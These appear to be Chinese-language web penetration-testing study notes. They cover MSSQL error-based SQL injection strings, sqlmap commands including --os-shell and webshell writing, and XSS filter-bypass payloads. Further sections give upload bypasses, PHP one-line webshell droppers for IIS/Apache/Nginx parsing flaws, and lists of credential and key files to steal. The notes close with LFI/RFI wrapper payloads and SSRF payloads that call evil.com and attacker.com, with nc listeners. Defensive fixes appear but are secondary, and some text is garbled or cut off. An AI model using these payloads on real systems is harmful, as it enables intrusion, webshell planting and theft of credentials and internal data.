​ %20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)–

== and 0=(select top 2 cast([name] as nvarchar(256))+char(94)+cast([filename] as nvarchar(256)) from (select top 2 dbid,name,filename from [master].[dbo].[sysdatabases] order by [dbid]) t order by [dbid] desc)–

2、确认数据库表名称信息

​ 获取当前数据库所有表名

​ and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))–

3、确认数据表字段信息

爆表名及字段名

​ 爆出表中第一个字段:having 1=1–

​ 爆出表中第二个字段:group by admin.id having 1=1–

​ 爆出表中第三个字段:group by admin.id,admin.name having 1=1–

4、获取数据信息

/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))\%2bchar(94)\%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))\%2bchar(94)\%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))\%3E0/**/and/**/1=1

防御措施

1、使用函数过滤,对敏感字符进行过滤

2、使用预编译和绑定变量

1
2
3
4
String sql="select id,no from user where id=?";
Preparedstatement ps=conn.preparestatement(sql);
ps.setInt(1,id);
ps.executeQuery();

通过prepare预编译函数会预先编译好,也就是SQL引I擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是时么,都不会影响该sql语句的语法结构了。只会被当做字符串字面值参数

3、使用WAF防火墙开启防SQL注入

4、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面

SQL注入工具

SQLMAP

项目地址:sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

SqlMap常用参数

1、判断测试点

​ -r 指定注入参数(需要将请求头信息存储在指定文件,注意:复制请求同用crtl+a再复制)
​ python sqlmap.py -r get.txt

​ -u get方法注入,使用时需要加入注入的参数信息
​ python sqlmap.py -u http://www.example.com/index.php?id=1

​ –level=LEVEL 执行测试的等级(1-5,默认为1),使用–level参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
​ python sqlmap.py -u http://www.example.com/index.php?id=1 –level=2

​ –risk=RISK 执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
​ python sqlmap.py -u http://www.example.com/index.php?id=1 –risk=3

​ -v ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请 求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
​ python sqlmap.py -u http://www.example.com/index.php?id=1 -v 3

​ -p 后面接参数,针对单个参数注入
​ python sqlmap.py -u http://www.example.com/index.php?id=1&name=ews -p id

​ –threads 线程数,默认为10

​ -batch-smart 只能判断测试(推荐)
​ python sqlmap.py -u http://www.example.com/index.php?id=1 -batch-smart

​ –mobile 模拟测试手机环境站点

​ -m 批量注入,在指定文件内输入多个目标
​ python sqlmap.py -m test.txt -batch-smart

2、获取数据

获取相关信息命令:

  • ​ –dbs //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2
  • ​ –current-user:大多数数据库中可检测到数据库管理系统当前用户
  • ​ –current-db:当前连接数据库名
  • ​ –is-dba:判断当前的用户是否为管理
  • ​ –users:列出数据库所有所有用户

获取表名 –tables -D 数据库名

获取字段名 –columns -T user -D abc

获取数据内容 -T user -C username,password,email –dump

3、特殊命令

读取文件内容 –file-read /etc/password

系统交互的shell –os-shell

写webshell –file-write “c:/3.txt” –file-dest “C:/phpStudy/WWW/3.php” -v1

sqlmap过waf –tamper “[模块名]” –存储在tamper目录下

[sqlmap绕过过滤的 tamper 脚本分类汇总.xlsx](sqlmap绕过过滤的 tamper 脚本分类汇总.xlsx)

XSS跨站脚本攻击

基础知识

XSS全称(Cross Site Scripting)跨站脚本攻击,XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。

漏洞出现原因:

​ 程序对用户的输入没有进行严格的限制,导致恶意脚本在服务器前端有效代码解析执行从而产生危害

同源策略:

​ 为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本,既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。

Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

​ 绕过方法02:字符信息拼凑绕过
​ <sc<script>ript>alert(‘63252’)</scr<script>ipt>
​ 绕过方法03:注释干扰后台绕过
​ <sc<!–test–>ript>alert(‘63252’)</scr<!–tshauie–>ipt>
​ 绕过方法04:代码信息编码绕过

​ <SCRIPT>alert(123)</SCRIPT> – 编码处理 base64 url

​ 例:使用事件属性
​ \img src=# onerror=”alert(‘oldboy’)”/>
​ <img src=x onerror=”alert('yangshuang')”/>
​ 使用HTML进行编码
​ 绕过方法05:更换代码标签绕过
​ <img src=# onerror=”alert(‘oldboy’)”/>

防御方法03:利用php函数进行防御(htmlspecialchars())
绕过方法01:加载不关注引号的攻击代码信息
q’ onclick=’alert(111)’

防御方法04:构建js代码格式进行防御
绕过方法01:
‘11’</script><script>alert(1111)</script>

XSS攻击绕过过滤方法大全(约100种) - 付杰博客

总结:
防御:考虑各种绕过情况,一般是需要在输入和输出环节,对传入的字段信息都做处理
绕过:需要根据php页面防御代码信息,实现有效绕过

文件上传下载漏洞

文件上传漏洞

漏洞概述

大多数网站都有文件上传的接口,但如果在后台开发时并没有对上传的文件进行安全考虑或采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件,从而通过该恶意文件的访问来控制整个后台

漏洞挖掘

image-20250304160544834

在验证上传点是否存在漏洞时,直接上传普通文件,文件名发生了改变极大可能为白名单绕过

image-20250304221013611

漏洞使用

image-20250304221428832

1、客户端JavaScript前端检查绕过

​ 一般通过查看源代码是否有相关检查

  1. 可以通过bp抓包绕过
  2. 在前端页面禁用JS,直接上传webshell

2、黑名单限制上传

​ 通过限制相关的.php/.jsp/.asp等后缀

  1. 使用未被限制的后缀绕过(如php3、php5需要配置相关配置文件)

  2. 使用.htaccess文件进行绕过(需要在http.conf文件中开启AllowOverried All )

    如果是windows电脑使用php和windows环境叠加特性

    ​ 双引号” = 点号.

    ​ 大于符号> = 问号?

    ​ 小于符号< = 星号*

    上传后为空文件,需要将文件名改为4.<或4.<<<或4.>>>或4.>><后再次上传,重写4.php文件内容

  3. 后缀大小写绕过

  4. 利用windows特性,增加空格( )和点(.)

  5. 利用windows特性,使用::$DATA文件流进行绕过

.htaccess解释:

​ SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。

通过这个机制可以先上传一个.htaccess文件,然后上传一个正常后缀的文件,相互搭配,实现php解析

3、白名单限制上传

  1. 使用上传路径名%00截断(php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc需要为OFF状态)
  2. 上传路径0x00绕过
  3. 绕过文件头检查,添加GIF图片的文件头GIF89a
  4. copy 1.jpg /b + shell.php /a webshell.jpg合并绕过
  5. 绕过二次渲染,使用图片坚强马

使用图片马需要搭配文件包含漏洞,才能使用

中间件解析漏洞

IIS解析漏洞

./中间件解析漏洞.docx

目录解析漏洞

IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、*.asa、*.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了

文件名解析漏洞

在 IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 *.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。

畸形解析漏洞

在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码

<?php fputs(fopen(‘shell.php’,’w’),’<?php @eval($_POST[x])?>’)?>

将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php 。

临时解决办法:设置 cgi.fix_pathinfo为0

IIS7.5漏洞解析

版本IIS7.5

漏洞产生原因: php.ini里默认cgi.fix_pathinfo=1,对其进行访问的时候,在URL路径后添加.php后缀名会当做php文件进行解析

满足条件:

​ 1、php.ini里默认cgi.fix_pathinfo=1开启

​ 2、设置FastCGI为关闭

漏洞利用方式:

​ 将含有木马的正常文件后缀的文件进行上传,然后使用

https://www.xp.cn/a.txt/.php

Apache解析漏洞

漏洞原理

  Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把oldboy.php.owf.rar解析成php。

漏洞形式

www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

修复方法:

​ 1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

​ <Files ~ “.(php.|php3.)”>

​ Order Allow,Deny

​ Deny from all

​ </Files>

​ 2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

​ RewriteEngine On

​ RewriteRule .(php.|php3.) /index.php

​ RewriteRule .(pHp.|pHp3.) /index.php

​ RewriteRule .(phP.|phP3.) /index.php

​ RewriteRule .(Php.|Php3.) /index.php

​ RewriteRule .(PHp.|PHp3.) /index.php

​ RewriteRule .(PhP.|PhP3.) /index.php

​ RewriteRule .(pHP.|pHP3.) /index.php

​ RewriteRule .(PHP.|PHP3.) /index.php

​ </IfModule>

Nginx解析漏洞

漏洞原理

  Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg\%00.php
www.xxxx.com/UploadFiles/image/1.jpg/\%20\0.php

xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)

另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHP fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[cmd])?>‘);?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

修复方案

1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
2.在Nginx配置文件中添加以下代码:

if ( $fastcgi_script_name ~ ..*/.*php ) {

return 403;

}

这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。

文件下载漏洞

漏洞介绍

一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,
则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

利用方式

一般链接形式:
download.php?path=
down.php?file=
data.php?file=
download.php?filename=

或者包含参数:
&Src=
&Inputfile=
&Filepath=
&Path=
&Data=

靶场环境应用
http://10.0.0.101:90/pikachu/vul/unsafedownload/down_nba.php
下载文件链接:
http://10.0.0.101:90/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png

当遇到一个任意文件下载时,我们的一般利用思路:

(1)下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置

(2)下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。

(3)下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。
尝试读取/root/.bash_history看自己是否具有root权限。
如果没有的话。我们只能按部就班的利用../来回跳转读取一些.ssh下的配置信息文件,读取mysql下的.bash_history文件。
来查看是否记录了一些可以利用的相关信息。
然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。

如果我们遇到的是java+oracle环境
可以先下载/WEB-INF/classes/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载/WEB-INF/classes/xxx/xxx/ccc.class对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话我们可以本地构造上传页面用api接口将我们的文件传输进服务器

如果具有root权限
在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。
这个数据库中含有本地所有文件信息。
Linux系统自动创建这个数据库,并且每天自动更新一次。
当我们不知道路径是什么的情况下,这个可以说是一个核武器了,我们利用任意文件下载漏洞mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。

locate 读取方法: locate mlocate.db admin
//可以将mlocate.db中包含admin文件名的内容全部输出来

(4)常见利用文件
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

防御措施

(1)过滤”.”,使用户在url中不能回溯上级目录

(2)正则严格判断用户输入参数的格式

(3)php.ini配置open_basedir限定文件访问范围

文件包含漏洞

基础知识

文件包含原理:

​ 程序员在开发的时候,未对包含的文件进行严格过滤,攻击者可以构造图片木马文件当作php执行

漏洞产生原因:

​ 在使用include()等函数时,未对包含的文件进行过滤。include()函数会将任意文件的类型,进行PHP代码解析

包含漏洞分类

  • 本地包含
  • 远程包含
    • 远程包含需要开启allow_url_include=on 、magic_quotes_gpc=off

如何快速挖掘文件包含漏洞

​ 直接查找源代码里的4个函数

​ include(),include_once(),require(),require_once()

这2个函数include(),include_once()不重复加载,require()和require_once()遇到错误退出

本地包含漏洞LFI

简介

可以通过本地文件包含漏洞打开本地文件

1
2
3
4
<?php
$file=\$_GET['filename'];
include($file);
?>

利用此漏洞可以读取一些系统本地的敏感信息。

(1)使用绝对路径

http://127.0.0.1/include.php?filename=C:\windows\system.ini

(2)使用相对路径进行读取

通过./表示当前位置路径,…/表示上一级路径位置

http://127.0.0.1/include.php?filename=../../phpinfo.jpg

常用敏感信息路径:

windows:

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息

Linux:

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

利用技巧

配合文件进行上传

无法找到文件上传漏洞上传webshell时,可以先通过上传一个图片格式的webshell到web服务器,在利用本地文件包含漏洞进行解析

1
2
3
<?php
fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>

注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。

包含Apache日志文件

当Apache开启相关日志功能(\logs\access.log)后,通常可以访问URL携带一句话木马,从而写入日志文件中

利用条件:

​ 对文件日志可读

​ 知道日志文件存储目录

注意:一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf,nginx.conf…..)或者根据phpinfo()带来的信息来得知

1、通常情况下,在地址栏构造 http://192.168.1.55:8080/dvwa/1.php <?php @eval($_POST[‘hack’]);?> 发现日志记录中会将该URL进行编码,无法实现进行连接

2、需要通过burp抓包,重新构造请求行,进行发送

3、上传之后使用webshell管理工具进行连接。

远程文件包含RFI

如果PHP的配置选项allow_url_includeallow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)

1
2
3
4
<?php
$path=$_GET['path'];
include($path . '/phpinfo.php');
?>

可以观察到该页面并没有对$path做任何过滤,因此存在文件包含漏洞。

我们在远端Web服务器/site/目录下创建一个test.php文件,内容为phpinfo(),利用漏洞去读取这个文件。

但是代码会给我们输入的路径后面加上’/phpinfo.php’后缀,如果php版本小于5.3.4,我们可以尝试使用%00截断,这里php版本为7.3.4,不适用。

还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:
在这里插入图片描述

如果test.php是恶意的webshell文件,那么利用该漏洞就可以获取到服务器权限。

可以通过在本地搭建图片马,然后操控靶机开启allow_url_include、allow_url_fopen参数,通过文件包含漏洞控制访问本机的图片马(例如:http://192.168.0.1/include.php?path=http://10.1.5.4/test.jpg)

再通过蚁剑添加http://192.168.0.1/include.php?path=http://10.1.5.4/test.jpg从而控制靶机

PHP伪协议

image-20250306163301204

在这里插入图片描述

file://协议

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

在这里插入图片描述

php://协议

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://input
php://filter用于读取源码
php://input用于执行php代码

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

有特殊字符一定要转化为base64,例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php

再进行base64解码,获取到2.php的完整源码信息

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:on

利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

在这里插入图片描述

发送报文,可以看到本地生成了一句话木马:

在这里插入图片描述

ZIP://协议

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

​ zip://中只能传入绝对路径。
​ 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
​ 只需要是zip的压缩包即可,后缀名可以任意更改。
​ 相同的类型还有zlib://和bzip2://

利用条件:

  • allow_url_fopen :off/on
  • allow_url_include:off/on

POC为:

1
2
zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip\%23phpinfo.txt

在这里插入图片描述

data://协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
利用条件:

allow_url_fopen :on
allow_url_include:on

POC为:

1
2
3
4
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

在这里插入图片描述

文件包含漏洞防护

1、使用str_replace等方法过滤掉危险字符

2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)

3、php版本升级,防止%00截断

4、对上传的文件进行重命名,防止被读取

5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。

6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化

SSRF跨站伪造请求

基础知识

SSRF原理

SSRF服务器端跨站伪造请求,是一种攻击者构造由服务器端请求发起的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

攻击原理

攻击者控制内网的一台服务器进而攻击再同一内网的其他服务器

SSRF产生原因

服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致内网服务器可以获取内网其他服务器的数据。

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。

漏洞挖掘

1、分享:通过URL地址分享网页内容

​ 例如:http://test.com/share.do?link=http://www.baidu.com

2、转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览:由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。

3、在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。

4、图片、文章收藏功能:此处的图片、文章收藏中的文章收藏就类似于分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载。

1
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de

5、未公开的api实现以及其他调用URL的功能:此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xml文件来加载内容。

6、图片加载与下载;通过url地址加载与下载图片

通过URL关键字中寻找

share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain

漏洞函数

产生SSRF的函数主要是:

  1. file_get_contents()
  2. sockopen()
  3. curl_exec()

file_get_contents()

下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='/img/oldboy/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

sockopen()

以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

curl_exec()

cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

注意事项

1
2
3
4
5
6
7
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(\%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议

URL伪协议

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

file

这种URL Schema可以尝试从文件系统中获取文件:

http://example.com/ssrf.php?url=file:///etc/passwd

http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:

dict

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表

http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

sftp

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

gopher

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样变可以解决漏洞点不在GET参数的问题了。

基本协议格式:

1
URL:gopher://<host>:<port>/<gopher-path> 

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header(‘Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest’);?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

漏洞利用

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。.

6.各个协议调用探针:http,file,dict,ftp,gopher等

http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21

绕过方式

1、限制为http://www.xxx.com 域名时(利用@)

可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。

2、采用短地址绕过

比如百度短地址https://dwz.cn/

3.采用进制转换

127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.

4.利用特殊域名

原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
(xip.io 现在好像用不了了,可以找找其他的)

5.利用[::]

可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]

6.利用句号

127。0。0。1 >>> 127.0.0.1

7、CRLF 编码绕过

%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入

1 example.com/?url=http://eval.com\%0d\%0aHOST:fuzz.com\%0d\%0a

8.利用封闭的字母数字

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
